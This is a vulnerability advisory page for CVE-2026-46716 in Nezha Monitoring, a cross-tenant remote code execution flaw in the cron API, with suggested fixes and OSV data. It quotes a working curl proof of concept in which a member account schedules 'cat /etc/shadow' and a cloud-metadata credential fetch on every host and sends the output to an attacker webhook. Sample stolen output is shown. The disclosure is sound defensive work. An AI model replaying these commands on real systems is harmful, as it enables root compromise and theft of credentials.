CVE-2026-46716: Nezha Monitoring Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-99gv-2m7h-3hh9
CVSS 9.9
CWE-78 CWE-269 CWE-862
Published
Advisory Summary

CVE-2026-46716 is a CRITICAL (CVSS 9.9) remote code execution vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Nezha Monitoring libraries in the Go ecosystem. The issue involves rolemember can run shell on every server (cross-tenant rce) via post /api/v1/cron. Remediation is available by upgrading affected packages to version 1.14.15-0.20260517022419-d7526351cf97.

CVE-2026-46716 at a Glance

CVE Identifier CVE-2026-46716
GHSA Identifier GHSA-99gv-2m7h-3hh9
Severity CRITICAL
CVSS v3.1 Base Score 9.9
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product Nezha Monitoring
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-46716

To remediate this vulnerability, upgrade all affected Nezha Monitoring dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/nezhahq/nezha fixed: 1.14.15-0.20260517022419-d7526351cf97
Upgrade github.com/nezhahq/nezha to 1.14.15-0.20260517022419-d7526351cf97
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/nezhahq/nezha

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-46716, inspect your project dependencies for Nezha Monitoring:

inspect dependencies for github.com/nezhahq/nezha

Analyze the terminal output to locate any version of Nezha Monitoring in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.14.15-0.20260517022419-d7526351cf97), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Nezha Monitoring, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `nezha`'s dashboard supports two user roles: `RoleAdmin` (Role==0) and `RoleMember` (Role==1). The cron routes `POST /api/v1/cron` and `PATCH /api/v1/cron/:id` are wired through `commonHandler` (any authenticated user) rather than `adminHandler`, and the per-server permission check on cron creation has a vacuous-true bypass. A `RoleMember` user can create a scheduled cron task with `Cover=CronCoverAll, Servers=[]` and an arbitrary `Command`. At every tick of the scheduler, the dashboard pushes that command to **every server in the global `ServerShared` map** — including servers that belong to other tenants (admin's servers, other members' servers). Each agent runs the command and returns the output, which is then sent to the attacker's own NotificationGroup → attacker-controlled webhook. Net effect: any `RoleMember` (including a self-bound OAuth2 user, if the dashboard has OAuth2 configured) gets pre-validated cross-tenant RCE on every nezha-monitored host in the deployment. ## Affected versions Commit `50dc8e660326b9f22990898142c58b7a5312b42a` and earlier on `master`. ## The auth gate ```go // cmd/dashboard/controller/controller.go:131-135 auth.GET("/cron", listHandler(listCron)) auth.POST("/cron", commonHandler(createCron)) // <-- commonHandler, not adminHandler auth.PATCH("/cron/:id", commonHandler(updateCron)) // <-- ditto auth.GET("/cron/:id/manual", commonHandler(manualTriggerCron)) auth.POST("/batch-delete/cron", commonHandler(batchDeleteCron)) ``` Compare with `/user` (adminHandler-gated). `commonHandler` (controller.go:214-218) only requires JWT auth — any role passes. ## The vacuous-true permission bypass ```go // cmd/dashboard/controller/cron.go:45-85 func createCron(c *gin.Context) (uint64, error) { var cf model.CronForm var cr model.Cron if err := c.ShouldBindJSON(&cf); err != nil { return 0, err } // BUG: empty cf.Servers iterates zero items, returns true vacuously. if !singleton.ServerShared.CheckPermission(c, slices.Values(cf.Servers)) { return 0, singleton.Localizer.ErrorT("permission denied") } cr.UserID = getUid(c) cr.TaskType = cf.TaskType cr.Name = cf.Name cr.Scheduler = cf.Scheduler cr.Command = cf.Command // <-- attacker-controlled shell cr.Servers = cf.Servers // <-- empty [] cr.PushSuccessful = cf.PushSuccessful cr.NotificationGroupID = cf.NotificationGroupID cr.Cover = cf.Cover // <-- CronCoverAll = 1 if cr.TaskType == model.CronTypeCronTask && cr.Cover == model.CronCoverAlertTrigger { return 0, singleton.Localizer.ErrorT("scheduled tasks cannot be triggered by alarms") } var err error if cf.TaskType == model.CronTypeCronTask { if cr.CronJobID, err = singleton.CronShared.AddFunc(cr.Scheduler, singleton.CronTrigger(&cr)); err != nil { return 0, err } } if err = singleton.DB.Create(&cr).Error; err != nil { return 0, newGormError("%v", err) } singleton.CronShared.Update(&cr) return cr.ID, nil } ``` `ServerShared.CheckPermission` (singleton.go:249-261) iterates `idList`; with `cf.Servers == []`, the for-range runs zero times and returns `true`. So a member can submit a cron with `Servers=[]` and skip the permission check entirely. ## The cross-tenant fanout sink ```go // service/singleton/crontask.go:133-181 func CronTrigger(cr *model.Cron, triggerServer ...uint64) func() { crIgnoreMap := make(map[uint64]bool) for _, server := range cr.Servers { crIgnoreMap[server] = true } return func() { if cr.Cover == model.CronCoverAlertTrigger { // ... (alert-only path; not used here) return } // BUG: iterates EVERY server in global state, no per-server permission check. for _, s := range ServerShared.Range { if cr.Cover == model.CronCoverAll && crIgnoreMap[s.ID] { continue // skip ignored } if cr.Cover == model.CronCoverIgnoreAll && !crIgnoreMap[s.ID] { continue } if s.TaskStream != nil { s.TaskStream.Send(&pb.Task{ Id: cr.ID, Data: cr.Command, // <-- shell command, run as agent UID (often root) Type: model.TaskTypeCommand, }) } } } } ``` Compare with the **service**-task path, which DOES gate per-server (`canSendTaskToServer` at `cmd/dashboard/rpc/rpc.go:179-190` enforces `task.UserID == server.UserID || taskOwnerIsAdmin`). The cron path skips that check entirely. ## The output-exfil channel ```go // service/rpc/nezha.go:56-76 case model.TaskTypeCommand: cr, _ := singleton.CronShared.Get(result.GetId()) if cr != nil { var curServer model.Server copier.Copy(&curServer, server) if cr.PushSuccessful && result.GetSuccessful() { singleton.NotificationShared.SendNotification(cr.NotificationGroupID, fmt.Sprintf("[%s] %s, %s\n%s", singleton.Localizer.T("Scheduled Task Executed Successfully"), cr.Name, server.Name, result.GetData()), "", &curServer) } if !result.GetSuccessful() { singleton.NotificationShared.SendNotification(cr.NotificationGroupID, fmt.Sprintf("[%s] %s, %s\n%s", singleton.Localizer.T("Scheduled Task Executed Failed"), cr.Name, server.Name, result.GetData()), "", &curServer) } } ``` `result.GetData()` is the agent's stdout/stderr. With `cr.PushSuccessful = true` set by the attacker, the command output is exfil'd to whatever NotificationGroup the attacker chose. Members can create their own Notifications (Webhook-type via `POST /api/v1/notification`) and Groups (`POST /api/v1/notification-group`), and these are owned by the member — `NotificationShared.CheckPermission` passes. So the attacker creates a member-owned webhook pointing at `https://attacker.example.com/exfil`, then references it in the cron. ## End-to-end PoC Pre-conditions: attacker has `RoleMember` credentials. Either admin gave them an account, or the dashboard has OAuth2 self-bind enabled. Step 0: Get JWT (standard login). ```bash TOKEN=$(curl -sX POST -H 'Content-Type: application/json' \ -d '{"username":"member","password":"hunter2"}' \ http://nezha.example.com/api/v1/login | jq -r .token) ``` Step 1: Create a webhook notification + group owned by the member, pointing at attacker server. ```bash NID=$(curl -sX POST -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \ -d '{"name":"x","url":"https://webhook.site/<attacker>","request_method":2,"request_type":1,"verify_tls":false,"skip_check":true}' \ http://nezha.example.com/api/v1/notification | jq -r .data) GID=$(curl -sX POST -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \ -d "{\"name\":\"g\",\"notifications\":[$NID]}" \ http://nezha.example.com/api/v1/notification-group | jq -r .data) ``` Step 2: Create the cross-tenant cron. ```bash curl -sX POST -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \ -d "{\"name\":\"x\",\"task_type\":0,\"scheduler\":\"*/1 * * * * *\",\"command\":\"id; hostname; cat /etc/shadow; curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/\",\"servers\":[],\"cover\":1,\"push_successful\":true,\"notification_group_id\":$GID}" \ http://nezha.example.com/api/v1/cron ``` Step 3: Within ~1 second, every monitored agent in the deployment runs the command and pushes output to the attacker's webhook with the per-server hostname. From `c1c1cd1.../webhook.site/<attacker>`: ``` [Scheduled Task Executed Successfully] x, admin-prod-db-01 uid=0(root) gid=0(root) groups=0(root) admin-prod-db-01.internal root:$6$KfTdXrLP$... ASIAEXAMPLEACCESSKEY|aws.example.secret.key|aws.example.session.token ``` (Output is shown for each of the N agents in the deployment, one webhook fire per agent.) ## Reachability — additional notes - Default deployment: there is no requirement that an admin even creates a member account explicitly — the dashboard may have OAuth2 self-registration via `singleton.Conf.Oauth2[provider]`. If admin enables OAuth2 auto-bind, any GitHub user can become a member; combined with this bug, that's near-pre-auth RCE. - The nezha agent typically runs as **root** (it monitors disk/CPU/processes that require root on Linux); see https://nezha.wiki for the standard install script that uses `sudo systemctl`. - The attack works whether `Cover=CronCoverAll` (deny-list, empty) or `Cover=CronCoverIgnoreAll` (allow-list — but you'd need server IDs you don't own, which requires a separate enumeration step). `Cover=CronCoverAll, Servers=[]` is the simplest payload. ## Suggested fix 1. **Switch `/cron` writes to `adminHandler`.** Same fix as the `/user` and `/setting` routes already use. ```go auth.POST("/cron", adminHandler(createCron)) auth.PATCH("/cron/:id", adminHandler(updateCron)) auth.GET("/cron/:id/manual", adminHandler(manualTriggerCron)) auth.POST("/batch-delete/cron", adminHandler(batchDeleteCron)) ``` 2. **Per-server permission gate in `CronTrigger`.** Defense-in-depth: even an admin should not push a cron task to a server they don't own. Add the equivalent of `canSendTaskToServer(task, server)` (already used in `service/rpc/rpc.go:179-190` for service tasks) before each `s.TaskStream.Send()`: ```go for _, s := range ServerShared.Range { if cr.UserID != s.UserID && !cronOwnerIsAdmin(cr) { continue } // ... existing send logic } ``` 3. **Reject empty `Servers` for `Cover=CronCoverAll`.** A deny-list with zero entries blasting an unrestricted command at every host is dangerous regardless of role: ```go if cf.Cover == model.CronCoverAll && len(cf.Servers) == 0 { return 0, errors.New("a cover-all cron must explicitly list at least one ignored server") } ``` 4. Optional: forbid `cf.PushSuccessful=true` for non-admin to slow down the output-exfil step. ## Severity - **CVSS 3.1:** Critical — `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` ≈ 9.0. - PR:L because attacker needs `RoleMember` (admin-issued, or OAuth2 auto-bind). - S:C because compromise of the dashboard yields RCE on every connected agent host (a separate trust zone). - C/I/A:H because RCE-as-root is the primary impact. - **Auth:** authenticated `RoleMember` (Role == 1). - **CWE:** CWE-862 (Missing Authorization), CWE-78 (OS Command Injection), CWE-269 (Improper Privilege Management). ## Reproduction environment - Tested against: `nezhahq/nezha` master @ `50dc8e660326b9f22990898142c58b7a5312b42a`. - Code locations: - Auth gate: `cmd/dashboard/controller/controller.go:131-135` (commonHandler), 214-236 (handler defs) - Bypass: `cmd/dashboard/controller/cron.go:53-55` (vacuous-true `CheckPermission` on empty `cf.Servers`) - Sink: `service/singleton/crontask.go:133-181` (`CronTrigger` iterates all servers) - Output exfil: `service/rpc/nezha.go:56-76` - Comparison (correct gating): `cmd/dashboard/rpc/rpc.go:179-190` (`canSendTaskToServer` for service tasks) ## Reporter Eddie Ran. Filed via the GitHub Security Advisory reporter API. nezha's `SECURITY.md` mentions email `hi@nai.ba`; happy to follow up there if the maintainer prefers email coordination. This is a follow-up to the same auth-bypass class as `GHSA-w4g9-mxgg-j532` (NEZHA-001 — `/notification` SSRF, also commonHandler-gated). The cron path is materially worse because it produces RCE rather than SSRF. --- ## Companion finding: nezhahq/agent plaintext gRPC channel (NEZHA-AGENT-001) Filing channel issue: `nezhahq/agent` has private vulnerability reporting disabled (verified via `GET /repos/nezhahq/agent/private-vulnerability-reporting`), so I cannot file the companion finding via the GHSA reporter API. Adding it here so it lands in the same maintainer triage thread. **Summary.** The dashboard→agent control channel uses plaintext gRPC by default. `agentConfig.TLS` zero-value is `false`; the install script's `[y/N]` prompt defaults to `false`. `AuthHandler.RequireTransportSecurity()` returns `false`. An on-path attacker on the dashboard↔agent network path captures `client_secret`+`client_uuid`, terminates the agent's TCP connection, and injects a `CommandTask` over plaintext gRPC. The agent runs the task via `sh -c <attacker-string>` as the systemd-installed UID (typically root). **Adjacent-network attack vector** (corp LAN, datacenter VLAN, cloud VPC peer, hostile WiFi for self-hosters). **Why filable.** This *completes the threat model* for the dashboard-side findings (NEZHA-001 / -002 / -003) — those findings all implicitly assume a trusted dashboard→agent channel. NEZHA-AGENT-001 disproves that assumption: a co-resident network attacker (no auth required) gets root on every agent host, with no dashboard compromise needed. **Severity:** High (CVSS ~7.5, AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). Adjacent-network reach + RCE-as-root, post-pwn fanout to every monitored host. **Suggested fix.** 1. Make TLS the install-script default (`[Y/n]`) instead of `[y/N]`. 2. Even if operator opts out of CA-issued TLS, generate a self-signed cert pinned to the dashboard's published key on first connect; refuse plaintext. 3. Add `AuthHandler.RequireTransportSecurity()` returning `true` unconditionally. 4. Document this as a **must-enable** in the agent install README. Disclosure draft is on file in the moneyhunter campaign workspace under `findings/NEZHA-AGENT-001-DISCLOSURE.md` and `findings/NEZHA-AGENT-001.yaml` — happy to share by whatever channel the maintainer prefers (these are deliverable as a single coordinated email or as a fork-PR-with-private-collaboration if PVR gets enabled on `nezhahq/agent`). — Eddie Ran

CVE-2026-46716 Affected Nezha Monitoring Versions

1 component(s)
Fixed Versions:
1.14.15-0.20260517022419-d7526351cf97
Product / Package Ecosystem Affected Versions Fixed Version
github.com/nezhahq/nezha
Go
≥ 1.4.0
< 1.14.15-0.20260517022419-d7526351cf97
1.14.15-0.20260517022419-d7526351cf97

References

Frequently Asked Questions

What is CVE-2026-46716?
CVE-2026-46716 is a security vulnerability in Nezha Monitoring involving RoleMember can run shell on every server (cross-tenant RCE) via POST /api/v1/cron under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which Nezha Monitoring versions are affected?
Affected versions include releases prior to 1.14.15-0.20260517022419-d7526351cf97 across affected packages: github.com/nezhahq/nezha.
What version fixes CVE-2026-46716?
Upgrading to 1.14.15-0.20260517022419-d7526351cf97 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/nezhahq/nezha affected?
Yes, github.com/nezhahq/nezha is affected in releases prior to 1.14.15-0.20260517022419-d7526351cf97. Upgrade your dependency to 1.14.15-0.20260517022419-d7526351cf97 or later.
What is the CVSS score of CVE-2026-46716?
CVE-2026-46716 has a CVSS v3.1 base score of 9.9 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-46716?
CVE-2026-46716 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check Go dependencies for CVE-2026-46716?
Run the dependency tree command: 'inspect dependencies for github.com/nezhahq/nezha'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-99gv-2m7h-3hh9",
  "modified" : "2026-06-26T21:28:22Z",
  "published" : "2026-05-23T00:17:58Z",
  "aliases" : [ "CVE-2026-46716" ],
  "summary" : "Nezha Monitoring: RoleMember can run shell on every server (cross-tenant RCE) via POST /api/v1/cron",
  "details" : "## Summary\n\n`nezha`'s dashboard supports two user roles: `RoleAdmin` (Role==0) and `RoleMember` (Role==1). The cron routes `POST /api/v1/cron` and `PATCH /api/v1/cron/:id` are wired through `commonHandler` (any authenticated user) rather than `adminHandler`, and the per-server permission check on cron creation has a vacuous-true bypass.\n\nA `RoleMember` user can create a scheduled cron task with `Cover=CronCoverAll, Servers=[]` and an arbitrary `Command`. At every tick of the scheduler, the dashboard pushes that command to **every server in the global `ServerShared` map** — including servers that belong to other tenants (admin's servers, other members' servers). Each agent runs the command and returns the output, which is then sent to the attacker's own NotificationGroup → attacker-controlled webhook.\n\nNet effect: any `RoleMember` (including a self-bound OAuth2 user, if the dashboard has OAuth2 configured) gets pre-validated cross-tenant RCE on every nezha-monitored host in the deployment.\n\n## Affected versions\n\nCommit `50dc8e660326b9f22990898142c58b7a5312b42a` and earlier on `master`.\n\n## The auth gate\n\n```go\n// cmd/dashboard/controller/controller.go:131-135\nauth.GET(\"/cron\", listHandler(listCron))\nauth.POST(\"/cron\", commonHandler(createCron))                    // <-- commonHandler, not adminHandler\nauth.PATCH(\"/cron/:id\", commonHandler(updateCron))               // <-- ditto\nauth.GET(\"/cron/:id/manual\", commonHandler(manualTriggerCron))\nauth.POST(\"/batch-delete/cron\", commonHandler(batchDeleteCron))\n```\n\nCompare with `/user` (adminHandler-gated). `commonHandler` (controller.go:214-218) only requires JWT auth — any role passes.\n\n## The vacuous-true permission bypass\n\n```go\n// cmd/dashboard/controller/cron.go:45-85\nfunc createCron(c *gin.Context) (uint64, error) {\n    var cf model.CronForm\n    var cr model.Cron\n    if err := c.ShouldBindJSON(&cf); err != nil { return 0, err }\n\n    // BUG: empty cf.Servers iterates zero items, returns true vacuously.\n    if !singleton.ServerShared.CheckPermission(c, slices.Values(cf.Servers)) {\n        return 0, singleton.Localizer.ErrorT(\"permission denied\")\n    }\n\n    cr.UserID = getUid(c)\n    cr.TaskType = cf.TaskType\n    cr.Name = cf.Name\n    cr.Scheduler = cf.Scheduler\n    cr.Command = cf.Command          // <-- attacker-controlled shell\n    cr.Servers = cf.Servers          // <-- empty []\n    cr.PushSuccessful = cf.PushSuccessful\n    cr.NotificationGroupID = cf.NotificationGroupID\n    cr.Cover = cf.Cover              // <-- CronCoverAll = 1\n\n    if cr.TaskType == model.CronTypeCronTask && cr.Cover == model.CronCoverAlertTrigger {\n        return 0, singleton.Localizer.ErrorT(\"scheduled tasks cannot be triggered by alarms\")\n    }\n\n    var err error\n    if cf.TaskType == model.CronTypeCronTask {\n        if cr.CronJobID, err = singleton.CronShared.AddFunc(cr.Scheduler, singleton.CronTrigger(&cr)); err != nil {\n            return 0, err\n        }\n    }\n\n    if err = singleton.DB.Create(&cr).Error; err != nil {\n        return 0, newGormError(\"%v\", err)\n    }\n\n    singleton.CronShared.Update(&cr)\n    return cr.ID, nil\n}\n```\n\n`ServerShared.CheckPermission` (singleton.go:249-261) iterates `idList`; with `cf.Servers == []`, the for-range runs zero times and returns `true`. So a member can submit a cron with `Servers=[]` and skip the permission check entirely.\n\n## The cross-tenant fanout sink\n\n```go\n// service/singleton/crontask.go:133-181\nfunc CronTrigger(cr *model.Cron, triggerServer ...uint64) func() {\n    crIgnoreMap := make(map[uint64]bool)\n    for _, server := range cr.Servers {\n        crIgnoreMap[server] = true\n    }\n    return func() {\n        if cr.Cover == model.CronCoverAlertTrigger {\n            // ... (alert-only path; not used here)\n            return\n        }\n\n        // BUG: iterates EVERY server in global state, no per-server permission check.\n        for _, s := range ServerShared.Range {\n            if cr.Cover == model.CronCoverAll && crIgnoreMap[s.ID] {\n                continue   // skip ignored\n            }\n            if cr.Cover == model.CronCoverIgnoreAll && !crIgnoreMap[s.ID] {\n                continue\n            }\n            if s.TaskStream != nil {\n                s.TaskStream.Send(&pb.Task{\n                    Id:   cr.ID,\n                    Data: cr.Command,                  // <-- shell command, run as agent UID (often root)\n                    Type: model.TaskTypeCommand,\n                })\n            }\n        }\n    }\n}\n```\n\nCompare with the **service**-task path, which DOES gate per-server (`canSendTaskToServer` at `cmd/dashboard/rpc/rpc.go:179-190` enforces `task.UserID == server.UserID || taskOwnerIsAdmin`). The cron path skips that check entirely.\n\n## The output-exfil channel\n\n```go\n// service/rpc/nezha.go:56-76\ncase model.TaskTypeCommand:\n    cr, _ := singleton.CronShared.Get(result.GetId())\n    if cr != nil {\n        var curServer model.Server\n        copier.Copy(&curServer, server)\n        if cr.PushSuccessful && result.GetSuccessful() {\n            singleton.NotificationShared.SendNotification(cr.NotificationGroupID, fmt.Sprintf(\"[%s] %s, %s\\n%s\", singleton.Localizer.T(\"Scheduled Task Executed Successfully\"),\n                cr.Name, server.Name, result.GetData()), \"\", &curServer)\n        }\n        if !result.GetSuccessful() {\n            singleton.NotificationShared.SendNotification(cr.NotificationGroupID, fmt.Sprintf(\"[%s] %s, %s\\n%s\", singleton.Localizer.T(\"Scheduled Task Executed Failed\"),\n                cr.Name, server.Name, result.GetData()), \"\", &curServer)\n        }\n    }\n```\n\n`result.GetData()` is the agent's stdout/stderr. With `cr.PushSuccessful = true` set by the attacker, the command output is exfil'd to whatever NotificationGroup the attacker chose. Members can create their own Notifications (Webhook-type via `POST /api/v1/notification`) and Groups (`POST /api/v1/notification-group`), and these are owned by the member — `NotificationShared.CheckPermission` passes. So the attacker creates a member-owned webhook pointing at `https://attacker.example.com/exfil`, then references it in the cron.\n\n## End-to-end PoC\n\nPre-conditions: attacker has `RoleMember` credentials. Either admin gave them an account, or the dashboard has OAuth2 self-bind enabled.\n\nStep 0: Get JWT (standard login).\n\n```bash\nTOKEN=$(curl -sX POST -H 'Content-Type: application/json' \\\n    -d '{\"username\":\"member\",\"password\":\"hunter2\"}' \\\n    http://nezha.example.com/api/v1/login | jq -r .token)\n```\n\nStep 1: Create a webhook notification + group owned by the member, pointing at attacker server.\n\n```bash\nNID=$(curl -sX POST -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application/json' \\\n    -d '{\"name\":\"x\",\"url\":\"https://webhook.site/<attacker>\",\"request_method\":2,\"request_type\":1,\"verify_tls\":false,\"skip_check\":true}' \\\n    http://nezha.example.com/api/v1/notification | jq -r .data)\n\nGID=$(curl -sX POST -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application/json' \\\n    -d \"{\\\"name\\\":\\\"g\\\",\\\"notifications\\\":[$NID]}\" \\\n    http://nezha.example.com/api/v1/notification-group | jq -r .data)\n```\n\nStep 2: Create the cross-tenant cron.\n\n```bash\ncurl -sX POST -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application/json' \\\n    -d \"{\\\"name\\\":\\\"x\\\",\\\"task_type\\\":0,\\\"scheduler\\\":\\\"*/1 * * * * *\\\",\\\"command\\\":\\\"id; hostname; cat /etc/shadow; curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/\\\",\\\"servers\\\":[],\\\"cover\\\":1,\\\"push_successful\\\":true,\\\"notification_group_id\\\":$GID}\" \\\n    http://nezha.example.com/api/v1/cron\n```\n\nStep 3: Within ~1 second, every monitored agent in the deployment runs the command and pushes output to the attacker's webhook with the per-server hostname. From `c1c1cd1.../webhook.site/<attacker>`:\n\n```\n[Scheduled Task Executed Successfully] x, admin-prod-db-01\nuid=0(root) gid=0(root) groups=0(root)\nadmin-prod-db-01.internal\nroot:$6$KfTdXrLP$...\nASIAEXAMPLEACCESSKEY|aws.example.secret.key|aws.example.session.token\n```\n\n(Output is shown for each of the N agents in the deployment, one webhook fire per agent.)\n\n## Reachability — additional notes\n\n- Default deployment: there is no requirement that an admin even creates a member account explicitly — the dashboard may have OAuth2 self-registration via `singleton.Conf.Oauth2[provider]`. If admin enables OAuth2 auto-bind, any GitHub user can become a member; combined with this bug, that's near-pre-auth RCE.\n- The nezha agent typically runs as **root** (it monitors disk/CPU/processes that require root on Linux); see https://nezha.wiki for the standard install script that uses `sudo systemctl`.\n- The attack works whether `Cover=CronCoverAll` (deny-list, empty) or `Cover=CronCoverIgnoreAll` (allow-list — but you'd need server IDs you don't own, which requires a separate enumeration step). `Cover=CronCoverAll, Servers=[]` is the simplest payload.\n\n## Suggested fix\n\n1. **Switch `/cron` writes to `adminHandler`.** Same fix as the `/user` and `/setting` routes already use.\n\n   ```go\n   auth.POST(\"/cron\", adminHandler(createCron))\n   auth.PATCH(\"/cron/:id\", adminHandler(updateCron))\n   auth.GET(\"/cron/:id/manual\", adminHandler(manualTriggerCron))\n   auth.POST(\"/batch-delete/cron\", adminHandler(batchDeleteCron))\n   ```\n\n2. **Per-server permission gate in `CronTrigger`.** Defense-in-depth: even an admin should not push a cron task to a server they don't own. Add the equivalent of `canSendTaskToServer(task, server)` (already used in `service/rpc/rpc.go:179-190` for service tasks) before each `s.TaskStream.Send()`:\n\n   ```go\n   for _, s := range ServerShared.Range {\n       if cr.UserID != s.UserID && !cronOwnerIsAdmin(cr) {\n           continue\n       }\n       // ... existing send logic\n   }\n   ```\n\n3. **Reject empty `Servers` for `Cover=CronCoverAll`.** A deny-list with zero entries blasting an unrestricted command at every host is dangerous regardless of role:\n\n   ```go\n   if cf.Cover == model.CronCoverAll && len(cf.Servers) == 0 {\n       return 0, errors.New(\"a cover-all cron must explicitly list at least one ignored server\")\n   }\n   ```\n\n4. Optional: forbid `cf.PushSuccessful=true` for non-admin to slow down the output-exfil step.\n\n## Severity\n\n- **CVSS 3.1:** Critical — `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` ≈ 9.0.\n  - PR:L because attacker needs `RoleMember` (admin-issued, or OAuth2 auto-bind).\n  - S:C because compromise of the dashboard yields RCE on every connected agent host (a separate trust zone).\n  - C/I/A:H because RCE-as-root is the primary impact.\n- **Auth:** authenticated `RoleMember` (Role == 1).\n- **CWE:** CWE-862 (Missing Authorization), CWE-78 (OS Command Injection), CWE-269 (Improper Privilege Management).\n\n## Reproduction environment\n\n- Tested against: `nezhahq/nezha` master @ `50dc8e660326b9f22990898142c58b7a5312b42a`.\n- Code locations:\n  - Auth gate: `cmd/dashboard/controller/controller.go:131-135` (commonHandler), 214-236 (handler defs)\n  - Bypass: `cmd/dashboard/controller/cron.go:53-55` (vacuous-true `CheckPermission` on empty `cf.Servers`)\n  - Sink: `service/singleton/crontask.go:133-181` (`CronTrigger` iterates all servers)\n  - Output exfil: `service/rpc/nezha.go:56-76`\n  - Comparison (correct gating): `cmd/dashboard/rpc/rpc.go:179-190` (`canSendTaskToServer` for service tasks)\n\n## Reporter\n\nEddie Ran. Filed via the GitHub Security Advisory reporter API. nezha's `SECURITY.md` mentions email `hi@nai.ba`; happy to follow up there if the maintainer prefers email coordination.\n\nThis is a follow-up to the same auth-bypass class as `GHSA-w4g9-mxgg-j532` (NEZHA-001 — `/notification` SSRF, also commonHandler-gated). The cron path is materially worse because it produces RCE rather than SSRF.\n\n---\n\n## Companion finding: nezhahq/agent plaintext gRPC channel (NEZHA-AGENT-001)\n\nFiling channel issue: `nezhahq/agent` has private vulnerability reporting disabled (verified via `GET /repos/nezhahq/agent/private-vulnerability-reporting`), so I cannot file the companion finding via the GHSA reporter API. Adding it here so it lands in the same maintainer triage thread.\n\n**Summary.** The dashboard→agent control channel uses plaintext gRPC by default. `agentConfig.TLS` zero-value is `false`; the install script's `[y/N]` prompt defaults to `false`. `AuthHandler.RequireTransportSecurity()` returns `false`. An on-path attacker on the dashboard↔agent network path captures `client_secret`+`client_uuid`, terminates the agent's TCP connection, and injects a `CommandTask` over plaintext gRPC. The agent runs the task via `sh -c <attacker-string>` as the systemd-installed UID (typically root).\n\n**Adjacent-network attack vector** (corp LAN, datacenter VLAN, cloud VPC peer, hostile WiFi for self-hosters).\n\n**Why filable.** This *completes the threat model* for the dashboard-side findings (NEZHA-001 / -002 / -003) — those findings all implicitly assume a trusted dashboard→agent channel. NEZHA-AGENT-001 disproves that assumption: a co-resident network attacker (no auth required) gets root on every agent host, with no dashboard compromise needed.\n\n**Severity:** High (CVSS ~7.5, AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). Adjacent-network reach + RCE-as-root, post-pwn fanout to every monitored host.\n\n**Suggested fix.**\n1. Make TLS the install-script default (`[Y/n]`) instead of `[y/N]`.\n2. Even if operator opts out of CA-issued TLS, generate a self-signed cert pinned to the dashboard's published key on first connect; refuse plaintext.\n3. Add `AuthHandler.RequireTransportSecurity()` returning `true` unconditionally.\n4. Document this as a **must-enable** in the agent install README.\n\nDisclosure draft is on file in the moneyhunter campaign workspace under `findings/NEZHA-AGENT-001-DISCLOSURE.md` and `findings/NEZHA-AGENT-001.yaml` — happy to share by whatever channel the maintainer prefers (these are deliverable as a single coordinated email or as a fork-PR-with-private-collaboration if PVR gets enabled on `nezhahq/agent`).\n\n— Eddie Ran",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/nezhahq/nezha"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.4.0"
      }, {
        "fixed" : "1.14.15-0.20260517022419-d7526351cf97"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nezhahq/nezha/security/advisories/GHSA-99gv-2m7h-3hh9"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-46716"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nezhahq/nezha"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-269", "CWE-78", "CWE-862" ],
    "severity" : "CRITICAL",
